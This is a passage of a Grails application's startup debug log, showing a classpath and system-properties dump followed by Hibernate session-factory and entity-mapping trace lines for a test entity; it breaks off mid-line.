230df5ca5c34540cdaa3ad5efb012f1f1f792/logback-core-1.2.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.logging.log4j/log4j-api/2.17.2/f42d6afa111b4dec5d2aea0fe2197240749a4ea6/log4j-api-2.17.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jakarta.validation/jakarta.validation-api/2.0.2/5eacc6522521f7eacb081f95cee1e231648461e7/jakarta.validation-api-2.0.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.google.errorprone/error_prone_annotations/2.10.0/9bc20b94d3ac42489cf6ce1e42509c86f6f861a1/error_prone_annotations-2.10.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.projectreactor/reactor-core/3.4.28/2bd0552a66befbf46add163d36a8b7acc3295d27/reactor-core-3.4.28.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.validation/validation-api/2.0.1.Final/cb855558e6271b1b32e716d24cb85c7f583ce09e/validation-api-2.0.1.Final.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-jcl/5.3.26/2005accc2cf5212c614df3760b3a434e7dce807c/spring-jcl-5.3.26.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.transaction/jta/1.1/2ca09f0b36ca7d71b762e14ea2ff09d5eac57558/jta-1.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant-launcher/1.10.13/331234763210702757a5780437844c6aef5d2bdf/ant-launcher-1.10.13.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.fasterxml.jackson.datatype/jackson-datatype-jsr310/2.13.5/8ba3b868e81d7fc6ead686bd2353859b111d9eaf/jackson-datatype-jsr310-2.13.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.fasterxml.jackson.core/jackson-annotations/2.13.5/136f77ab424f302c9e27230b4482e8000e142edf/jackson-annotations-2.13.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.fasterxml.jackson.core/jackson-core/2.13.5/d07c97d3de9ea658caf1ff1809fd9de930a286a/jackson-core-2.13.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.fasterxml.jackson.datatype/jackson-datatype-jdk8/2.13.5/1278f38160812811c56eb77f67213662ed1c7a2e/jackson-datatype-jdk8-2.13.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.fasterxml.jackson.core/jackson-databind/2.13.5/aa95e46dbc32454f3983221d420e78ef19ddf844/jackson-databind-2.13.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hdrhistogram/HdrHistogram/2.1.12/6eb7552156e0d517ae80cc2247be1427c8d90452/HdrHistogram-2.1.12.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.latencyutils/LatencyUtils/2.0.3/769c0b82cb2421c8256300e907298a9410a2a3d3/LatencyUtils-2.0.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-artifact/3.6.3/f8ff8032903882376e8d000c51e3e16d20fc7df7/maven-artifact-3.6.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.commons/commons-lang3/3.12.0/c6842c86792ff03b9f1d1fe2aab8dc23aa6c6f0e/commons-lang3-3.12.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant-antlr/1.10.12/74b17ef7229f3d7c0d55d42486889cc553ab04d6/ant-antlr-1.10.12.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-groovydoc/3.0.11/8faadefbe0df0430ef99c5b55b19d524bcf16862/groovy-groovydoc-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest-core/2.2/3f2bd07716a31c395e2837254f37f21f0f0ab24b/hamcrest-core-2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.ysb33r.gradle/grolifant/0.11/462c324739259e0dc1208b7695ebd62099cea337/grolifant-0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.multiverse/multiverse-core/0.7.0/db77d55199bc5672f05f5d725b70dd10033251ed/multiverse-core-0.7.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.jsr166-mirror/jsr166y/1.7.0/8547fcb1c29b4f8c745c3f49a536aca58fc30f54/jsr166y-1.7.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.el/javax.el-api/3.0.1-b06/9c4c2400f2d8e35c62d636c13012e1f68c370a00/javax.el-api-3.0.1-b06.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.sun.xml.bind/jaxb-impl/2.3.1/a1a12b85ba1435b4189e065f7dafcc3fb9410d38/jaxb-impl-2.3.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jakarta.xml.bind/jakarta.xml.bind-api/2.3.3/48e3b9cfc10752fba3521d6511f4165bea951801/jakarta.xml.bind-api-2.3.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.glassfish.jaxb/txw2/2.3.8/66e0297f1196f0d15a776e699de1b8e6ac5d44dd/txw2-2.3.8.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.sun.istack/istack-commons-runtime/3.0.12/cbbe1a62b0cc6c85972e99d52aaee350153dc530/istack-commons-runtime-3.0.12.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.sun.activation/jakarta.activation/1.2.2/74548703f9851017ce2f556066659438019e7eb5/jakarta.activation-1.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.reactivestreams/reactive-streams/1.0.4/3864a1320d97d7b045f729a326e1e077661f31b7/reactive-streams-1.0.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/commons-fileupload/commons-fileupload/1.5/ad4ad2ab2961b4e1891472bd1a33fabefb0385f3/commons-fileupload-1.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/opensymphony/sitemesh/2.4.2/4cb3b08c96553b0f4595a80917838ca302f67f3f/sitemesh-2.4.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.glassfish/javax.el/3.0.1-b12/2a54bfce52f758c27fa8e6dfd2ce5b4fcad2ebf6/javax.el-3.0.1-b12.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hamcrest/hamcrest/2.2/1820c0968dba3a11a1b30669bb1f01978a91dedc/hamcrest-2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.tukaani/xz/1.6/5b6f921f1810bdf90e25471968f741f87168b64/xz-1.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.plexus/plexus-utils/3.2.1/13b015768e0d04849d2794e4c47eb02d01a0de32/plexus-utils-3.2.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/commons-codec/commons-codec/1.15/49d94806b6e3dc933dacbd8acb0fdbab8ebd1e5d/commons-codec-1.15.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/commons-io/commons-io/2.11.0/a2503f302b11ebde7ebc3df41daebe0e4eea3689/commons-io-2.11.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/commons-validator/commons-validator/1.7/76069c915de3787f3ddd8726a56f47a95bfcbb0e/commons-validator-1.7.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/commons-collections/commons-collections/3.2.2/8ad72fe39fa8c91eaaf12aadb21e0c3661fe26d5/commons-collections-3.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.google.javascript/closure-compiler-unshaded/v20210106/17228972a09fb6e9bef19b57c8bf3e946364e04f/closure-compiler-unshaded-v20210106.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.mozilla/rhino/1.7R4/e982f2136574b9a423186fbaeaaa98dc3e5a5288/rhino-1.7R4.jar, grails.env.initializing=true, java.vm.vendor=Eclipse Adoptium, sun.arch.data.model=64, info.app.version=0.1, user.variant=, java.vendor.url=https://adoptium.net/, user.timezone=Asia/Taipei, org.jboss.logging.provider=slf4j, java.vm.specification.version=17, os.name=Linux, hibernate.use_query_cache=false, user.country=US, sun.java.launcher=SUN_STANDARD, sun.boot.library.path=/usr/local/lib/jvm/jdk-17.0.8.1+1/lib, sun.java.command=pollo.grails.db.aop.Application, jdk.debug=release, hibernate.entity_dirtiness_strategy=org.grails.orm.hibernate.dirty.GrailsEntityDirtinessStrategy, sun.cpu.endian=little, user.home=/home/jameschang, javax.persistence.validation.factory=org.grails.datastore.gorm.validation.javax.JavaxValidatorRegistry@639c010e, user.language=en, java.specification.vendor=Oracle Corporation, java.version.date=2023-08-24, java.home=/usr/local/lib/jvm/jdk-17.0.8.1+1, spring.profiles.active=, spring.output.ansi.enabled=always, file.separator=/, org.grails.MAIN_CLASS_NAME=pollo.grails.db.aop.Application, java.vm.compressedOopsMode=32-bit, line.separator= , java.vm.specification.vendor=Oracle Corporation, java.specification.name=Java Platform API Specification, FILE_LOG_CHARSET=UTF-8, java.awt.headless=true, management.endpoints.shutdown.enabled=true, hibernate.hbm2ddl.auto=none, hibernate.cache.queries=false, info.app.name=pollo-grails-db-aop, sun.management.compiler=HotSpot 64-Bit Tiered Compilers, java.runtime.version=17.0.8.1+1, user.name=jameschang, hibernate.cache.use_query_cache=false, path.separator=:, os.version=5.10.0-28-amd64, java.runtime.name=OpenJDK Runtime Environment, file.encoding=UTF-8, spring.beaninfo.ignore=true, java.vm.name=OpenJDK 64-Bit Server VM, hibernate.show_sql=true, hibernate.classLoaders=org.springframework.boot.devtools.restart.classloader.RestartClassLoader@584f4664, java.vendor.version=Temurin-17.0.8.1+1, hibernate.current_session_context_class=org.grails.orm.hibernate.GrailsSessionContext, full.stacktrace=false, micronaut.classloader.logging=true, java.vendor.url.bug=https://github.com/adoptium/adoptium-support/issues, java.io.tmpdir=/tmp, java.version=17.0.8.1, hibernate.naming_strategy=org.hibernate.cfg.ImprovedNamingStrategy, grails.env=development, user.dir=/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop, os.arch=amd64, java.vm.specification.name=Java Virtual Machine Specification, PID=55213, info.app.grailsVersion=5.3.6, env=development, grails.env.standalone=true, CONSOLE_LOG_CHARSET=UTF-8, verbose=false, hibernate.boot.CfgXmlAccessService.key=org.hibernate.boot.cfgxml.spi.LoadedConfig@69b5d4e1, native.encoding=UTF-8, hibernate.cache.use_second_level_cache=false, java.library.path=/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib, java.vendor=Eclipse Adoptium, java.vm.info=mixed mode, emulated-client, sharing, java.vm.version=17.0.8.1+1, hibernate.bytecode.use_reflection_optimizer=false, sun.io.unicode.encoding=UnicodeLittle, hibernate.connection.datasource=org.springframework.jdbc.datasource.TransactionAwareDataSourceProxy@1fc7bda3, grails.full.stacktrace=false, java.class.version=61.0} 2024-04-16 15:26:44.521 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.engine.query.spi.NativeQueryInterpreter] 2024-04-16 15:26:44.525 DEBUG --- [ restartedMain] o.h.boot.internal.ClassLoaderAccessImpl : Not known whether passed class name [work.pollochang.Test1] is safe 2024-04-16 15:26:44.525 DEBUG --- [ restartedMain] o.h.boot.internal.ClassLoaderAccessImpl : No temp ClassLoader provided; using live ClassLoader for loading potentially unsafe class : work.pollochang.Test1 2024-04-16 15:26:44.555 DEBUG --- [ restartedMain] .h.s.i.SessionFactoryServiceRegistryImpl : EventListenerRegistry access via ServiceRegistry is deprecated. Use `sessionFactory.getEventEngine().getListenerRegistry()` instead 2024-04-16 15:26:44.555 DEBUG --- [ restartedMain] org.hibernate.secure.spi.JaccIntegrator : Skipping JACC integration as it was not enabled 2024-04-16 15:26:44.555 DEBUG --- [ restartedMain] .h.s.i.SessionFactoryServiceRegistryImpl : EventListenerRegistry access via ServiceRegistry is deprecated. Use `sessionFactory.getEventEngine().getListenerRegistry()` instead 2024-04-16 15:26:44.555 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.DefaultSaveEventListener@79a7762b`] 2024-04-16 15:26:44.555 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.DefaultSaveEventListener@79a7762b`] 2024-04-16 15:26:44.555 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.DefaultPreLoadEventListener@659b9af6`] 2024-04-16 15:26:44.555 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.DefaultPreLoadEventListener@659b9af6`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.DefaultPostLoadEventListener@4be97993`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.DefaultPostLoadEventListener@4be97993`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.cfg.beanvalidation.BeanValidationEventListener@475c0504`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.cfg.beanvalidation.BeanValidationEventListener@475c0504`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.PostInsertEventListenerStandardImpl@50825ea`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.PostInsertEventListenerStandardImpl@50825ea`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.cfg.beanvalidation.BeanValidationEventListener@475c0504`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.cfg.beanvalidation.BeanValidationEventListener@475c0504`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.PostUpdateEventListenerStandardImpl@3c7d5397`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.PostUpdateEventListenerStandardImpl@3c7d5397`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.cfg.beanvalidation.BeanValidationEventListener@475c0504`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.cfg.beanvalidation.BeanValidationEventListener@475c0504`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.PostDeleteEventListenerStandardImpl@3c58806a`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.e.s.internal.EventListenerGroupImpl : Checking incoming listener [`org.grails.orm.hibernate.support.ClosureEventTriggeringInterceptor@6fdc7ca6`] for match against existing listener [`org.hibernate.event.internal.PostDeleteEventListenerStandardImpl@3c58806a`] 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.hibernate.internal.SessionFactoryImpl : Instantiated session factory 2024-04-16 15:26:44.556 DEBUG --- [ restartedMain] o.h.type.spi.TypeConfiguration$Scope : Scoping TypeConfiguration [org.hibernate.type.spi.TypeConfiguration@55e7045a] to SessionFactoryImpl [org.hibernate.internal.SessionFactoryImpl@3484f907] 2024-04-16 15:26:44.558 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.persister.spi.PersisterFactory] 2024-04-16 15:26:44.558 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.persister.spi.PersisterClassResolver] 2024-04-16 15:26:44.565 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.property.access.spi.PropertyAccessStrategyResolver] 2024-04-16 15:26:44.579 DEBUG --- [ restartedMain] o.h.boot.internal.ClassLoaderAccessImpl : Not known whether passed class name [work.pollochang.Test1] is safe 2024-04-16 15:26:44.579 DEBUG --- [ restartedMain] o.h.boot.internal.ClassLoaderAccessImpl : No temp ClassLoader provided; using live ClassLoader for loading potentially unsafe class : work.pollochang.Test1 2024-04-16 15:26:44.580 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.bytecode.spi.ProxyFactoryFactory] 2024-04-16 15:26:44.691 TRACE --- [ restartedMain] o.h.p.entity.AbstractPropertyMapping : Skipping duplicate registration of path [col1], existing type = [org.hibernate.type.IntegerType@2037059f], incoming type = [org.hibernate.type.IntegerType@2037059f] 2024-04-16 15:26:44.691 TRACE --- [ restartedMain] o.h.p.entity.AbstractPropertyMapping : Skipping duplicate registration of path [id], existing type = [org.hibernate.type.LongType@65f033bd], incoming type = [org.hibernate.type.LongType@65f033bd] 2024-04-16 15:26:44.694 DEBUG --- [ restartedMain] o.h.p.entity.AbstractEntityPersister : Static SQL for entity: work.pollochang.Test1 2024-04-16 15:26:44.694 DEBUG --- [ restartedMain] o.h.p.entity.AbstractEntityPersister : Version select: select id from test1 where id =? 2024-04-16 15:26:44.694 DEBUG --- [ restartedMain] o.h.p.entity.AbstractEntityPersister : Snapshot select: select test1x_.id, test1x_.col1 as col2_0_ from test1 test1x_ where test1x_.id=? 2024-04-16 15:26:44.694 DEBUG --- [ restartedMain] o.h.p.entity.AbstractEntityPersister : Insert 0: insert into test1 (col1, id) values (?, ?) 2024-04-16 15:26:44.694 DEBUG --- [ restartedMain] o.h.p.entity.AbstractEntityPersister : Update 0: update test1 set col1=? where id=? 2024-04-16 15:26:44.694 DEBUG --- [ restartedMain] o.h.p.entity.AbstractEntityPersister : Delete 0: delete from test1 where id=? 2024-04-16 15:26:44.694 DEBUG --- [ restartedMain] o.h.p.entity.AbstractEntityPersister : Identity insert: insert into test1 (col1) values (?) 2024-04-16 15:26:44.703 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : Starting root entity : work.pollochang.Test1 2024-04-16 15:26:44.704 DEBUG --- [ restartedMain] o.h.l.p.b.i.spaces.QuerySpacesImpl : Adding QuerySpace : uid = \u003cgen:0\u003e -\u003e org.hibernate.loader.plan.build.internal.spaces.EntityQuerySpaceImpl@33d2467] 2024-04-16 15:26:44.704 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : Pushing fetch source to stack : org.hibernate.loader.plan.build.internal.returns.EntityReturnImpl@2cb76baf 2024-04-16 15:26:44.704 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : .. Registering AssociationKey : AssociationKey(table=test1, columns={id}) -\u003e org.hibernate.loader.plan.build.internal.returns.EntityReturnImpl@2cb76baf 2024-04-16 15:26:44.704 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : \u003e\u003e Starting entity identifier : work.pollochang.Test1 2024-04-16 15:26:44.705 DEBUG --- [ restartedMain] o.h.p.walking.spi.MetamodelGraphWalker : Visiting attribute path : col1 2024-04-16 15:26:44.705 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : \u003e\u003e Starting attribute Attribute(name=col1, type=integer [non-identifier]) 2024-04-16 15:26:44.705 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : \u003c\u003c Finishing up attribute : Attribute(name=col1, type=integer [non-identifier]) 2024-04-16 15:26:44.705 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : Popped fetch owner from stack : org.hibernate.loader.plan.build.internal.returns.EntityReturnImpl@2cb76baf 2024-04-16 15:26:44.705 TRACE --- [ restartedMain] lanBuildingAssociationVisitationStrategy : Finished root entity : work.pollochang.Test1 2024-04-16 15:26:44.705 DEBUG --- [ restartedMain] lanBuildingAssociationVisitationStrategy : Building LoadPlan... 2024-04-16 15:26:44.726 DEBUG --- [ restartedMain] h.l.p.e.i.LoadQueryJoinAndFetchProcessor : processing queryspace \u003cgen:0\u003e 2024-04-16 15:26:44.727 DEBUG --- [ restartedMain] o.h.l.p.build.spi.LoadPlanTreePrinter : LoadPlan(entity=work.pollochang.Test1) - Returns - EntityReturnImpl(entity=work.pollochang.Test1, querySpaceUid=\u003cgen:0\u003e, path=work.pollochang.Test1) - QuerySpaces - EntityQuerySpaceImpl(uid=\u003cgen:0\u003e, entity=work.pollochang.Test1) - SQL table alias mapping - test1x0_ - alias suffix - 0_ - suffixed key columns - {id1_0_0_} 2024-04-16 15:26:44.728 DEBUG --- [ restartedMain] o.h.loader.entity.plan.EntityLoader : Static select for entity work.pollochang.Test1 [NONE]: select test1x0_.id as id1_0_0_, test1x0_.col1 as col2_0_0_ from test1 test1x0_ where test1x0_.id=? 2024-04-16 15:26:44.732 TRACE --- [ restartedMain] o.h.metamodel.internal.MetadataContext : Wrapping up metadata context... 2024-04-16 15:26:44.733 TRACE --- [ restartedMain] o.h.metamodel.internal.MetadataContext : Starting entity [work.pollochang.Test1] 2024-04-16 15:26:44.733 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Building identifier attribute [Test1.id] 2024-04-16 15:26:44.733 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Starting attribute metadata determination [id] 2024-04-16 15:26:44.733 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Determined member [java.lang.Long work.pollochang.Test1.id] 2024-04-16 15:26:44.733 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Determined type [name=long, class=org.hibernate.type.LongType] 2024-04-16 15:26:44.735 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Building attribute [Test1.col1] 2024-04-16 15:26:44.735 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Starting attribute metadata determination [col1] 2024-04-16 15:26:44.735 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Determined member [private int work.pollochang.Test1.col1] 2024-04-16 15:26:44.735 TRACE --- [ restartedMain] o.h.metamodel.internal.AttributeFactory : Determined type [name=integer, class=org.hibernate.type.IntegerType] 2024-04-16 15:26:44.736 TRACE --- [ restartedMain] o.h.metamodel.internal.MetadataContext : Completed entity [work.pollochang.Test1] 2024-04-16 15:26:44.737 DEBUG --- [ restartedMain] .h.t.s.s.SchemaManagementToolCoordinator : No schema actions specified 2024-04-16 15:26:44.737 DEBUG --- [ restartedMain] .h.t.s.s.SchemaManagementToolCoordinator : No actions specified; doing nothing 2024-04-16 15:26:44.737 DEBUG --- [ restartedMain] o.h.query.spi.NamedQueryRepository : Checking 0 named HQL queries 2024-04-16 15:26:44.737 DEBUG --- [ restartedMain] o.h.query.spi.NamedQueryRepository : Checking 0 named SQL queries 2024-04-16 15:26:44.738 DEBUG --- [ restartedMain] .h.s.i.SessionFactoryServiceRegistryImpl : EventListenerRegistry access via ServiceRegistry is deprecated. Use `sessionFactory.getEventEngine().getListenerRegistry()` instead 2024-04-16 15:26:44.738 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.resource.transaction.spi.TransactionCoordinatorBuilder] 2024-04-16 15:26:44.740 TRACE --- [ restartedMain] o.h.type.spi.TypeConfiguration$Scope : Handling #sessionFactoryCreated from [org.hibernate.internal.SessionFactoryImpl@3484f907] for TypeConfiguration 2024-04-16 15:26:44.741 DEBUG --- [ restartedMain] o.h.internal.SessionFactoryRegistry : Initializing SessionFactoryRegistry : org.hibernate.internal.SessionFactoryRegistry@39e72e71 2024-04-16 15:26:44.741 DEBUG --- [ restartedMain] o.h.internal.SessionFactoryRegistry : Registering SessionFactory: ccfb49d5-4084-4546-bc92-f59037d09368 (\u003cunnamed\u003e) 2024-04-16 15:26:44.741 DEBUG --- [ restartedMain] o.h.internal.SessionFactoryRegistry : Not binding SessionFactory to JNDI, no JNDI name configured 2024-04-16 15:26:44.754 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom TraversableResolver of type org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver 2024-04-16 15:26:44.754 DEBUG --- [ restartedMain] .h.v.m.ResourceBundleMessageInterpolator : Loaded expression factory via original TCCL 2024-04-16 15:26:44.754 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom MessageInterpolator of type org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator 2024-04-16 15:26:44.754 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : HV000002: Ignoring XML configuration. 2024-04-16 15:26:44.755 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000252: Using org.hibernate.validator.internal.engine.DefaultPropertyNodeNameProvider as property node name provider. 2024-04-16 15:26:44.755 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator as ValidatorFactory-scoped message interpolator. 2024-04-16 15:26:44.755 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver as ValidatorFactory-scoped traversable resolver. 2024-04-16 15:26:44.755 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.util.ExecutableParameterNameProvider as ValidatorFactory-scoped parameter name provider. 2024-04-16 15:26:44.755 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.DefaultClockProvider as ValidatorFactory-scoped clock provider. 2024-04-16 15:26:44.755 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.engine.scripting.DefaultScriptEvaluatorFactory as ValidatorFactory-scoped script evaluator factory. 2024-04-16 15:26:44.822 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom TraversableResolver of type org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver 2024-04-16 15:26:44.822 DEBUG --- [ restartedMain] .h.v.m.ResourceBundleMessageInterpolator : Loaded expression factory via original TCCL 2024-04-16 15:26:44.822 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom MessageInterpolator of type org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator 2024-04-16 15:26:44.822 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : Setting custom ConstraintValidatorFactory of type org.springframework.validation.beanvalidation.SpringConstraintValidatorFactory 2024-04-16 15:26:44.822 DEBUG --- [ restartedMain] o.h.v.i.e.AbstractConfigurationImpl : HV000002: Ignoring XML configuration. 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000252: Using org.hibernate.validator.internal.engine.DefaultPropertyNodeNameProvider as property node name provider. 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.messageinterpolation.ResourceBundleMessageInterpolator as ValidatorFactory-scoped message interpolator. 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.grails.datastore.gorm.validation.javax.MappingContextTraversableResolver as ValidatorFactory-scoped traversable resolver. 2024-04-16 15:26:44.823 DEBUG --- [ restartedMain] .i.e.ValidatorFactoryConfigurationHelper : HV000234: Using org.hibernate.validator.internal.util.ExecutableParameterNameProvider as ValidatorFactory-scoped parameter name provider. 2024-04-16 